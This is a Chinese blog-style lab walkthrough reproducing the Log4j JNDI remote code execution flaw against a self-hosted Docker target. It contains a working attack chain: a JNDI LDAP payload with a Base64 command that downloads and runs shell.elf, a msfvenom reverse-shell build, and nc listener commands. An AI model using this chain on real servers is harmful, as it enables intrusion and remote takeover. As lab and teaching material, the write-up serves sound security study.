log4j漏洞复现

漏洞原理:log4j漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。

                当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。

                具体来说,log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。当日志中包含${}时,log4j会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容)。

                使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了log4j的漏洞。

漏洞利用条件:java应用引入了log4j-api和log4j-core两个jar包

漏洞利用原理:当系统使用log4j通过${}形式将用户输入的信息打印到日志时,那这就会出现JNDI注入漏洞

复现过程:三台机器(以下分为三台机使用 1,2,3表示)

aea9ceb5f06242df9363b88eb03bdf45.png

 

1、在2号机上部署一个docker容器然后在docker中拉取靶场镜像

docker部署(部署过的直接下一步)

1、yum install -y yum-utils //安装需要的安装包yum-utils

 

2、firewall-cmd --state //查看防火墙状态如果是开启的将防火墙关闭

 

3、 yum-config-manager \

  --add-repo \

   http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo  //《阿里云镜像仓库》这一段直接复制执行,有报错的话搜搜csdn

 

4、yum makecache fase   //先更新yum软件包索引

 

5、yum install docker-ce docker-ce-cli containerd.io //下载docker

 

6、systemctl  start  docker   //启动docker

 

7、docker version      //查看docker是否启动

 

2、拉取靶场镜像到docker

靶场部署

1、docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln     //拉取镜像

 

2、docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln //创建容器

 

3、docker exec -it log4j_vuln_container /bin/bash   //进入容器

 

4、/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh  //启动容器

03b8b0f82bc843a7b45b827038d3ecad.png

这样就是部署成功了

http://39.107.98.213:8080/webstudy/          //访问这个页面

89628b58ccdc41038c424fef1b8ec2ab.png

 

3、3号机下载JNDIExploit-1.4-SNAPSHOT.jar这个jar包

https://github.com/WhiteHSBG/JNDIExploit/releases/download/v1.4/JNDIExploit.v1.4.zip    //github下载地址

 

unzip JNDIExploit.v1.4.zip //解压

 

chmod +x JNDIExploit-1.4-SNAPSHOT.jar //添加可执行权限

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 123.56.136.50 -p 8888   //运行JNDIExploit-1.4-SNAPSHOT.jar

d27058d0f6b84ab08e9642a27074e02d.png

 4、在1号机中访问http://39.107.98.213:8080/webstudy/   使用burp抓包

468c23c3f7c74af686e0beee4c414457.png

 95c4c8c1545b456ab25fe3f44813acf8.png

475814f8f7b3460aa86a1147c73aac90.png 

23c387a5b68c4d09a3704e47607a9f23.png

在这里单机右键将get改成post包(单击右键找到   change request method)
 
${jndi:ldap://123.56.136.50:1389/Basic/Command/Base64/ d2dldCBodHRwOi8vMTIzLjU2LjEzNi41MC9jY2NjYy9zaGVsbC5lbGYgLU8gL3RtcC9zaGVsbC5lbGYgJCQgY2htb2QgK3ggL3RtcC9zaGVsbC5lbGYgJiYgL3RtcC9zaGVsbC5lbGYK}   //这一步最后操作,先看下面的
 
加粗字体解码后:wget http://123.56.136.50/ccccc/shell.elf -O /tmp/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf
62b9ad32b56d4994af40f38a9e29587c.png

 在3号机里面生成一个反向shell文件

msfvenom -p linux/x64/shell_reverse_tcp LHOST=123.56.136.50 LPORT=443 -f elf -o shell.elf //lhost本地ip lport本地端口

生成这个文件后在这个shell.elf的目录下开启一个临时的web服务

python -m SimpleHTTPServer 80

在3号机设置监听

nc -lvnp 443

 然后再执行这一步

845d50e8ad6946ed8d5bec8c461dac73.png

 上线成功

76a8add82d3b405e9220eeae79b20462.png

 看YouTube上大佬视频做的笔记(看视频,命令就复制我的就行)

视频地址:https://www.youtube.com/watch?v=Fnuky41Eldo

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值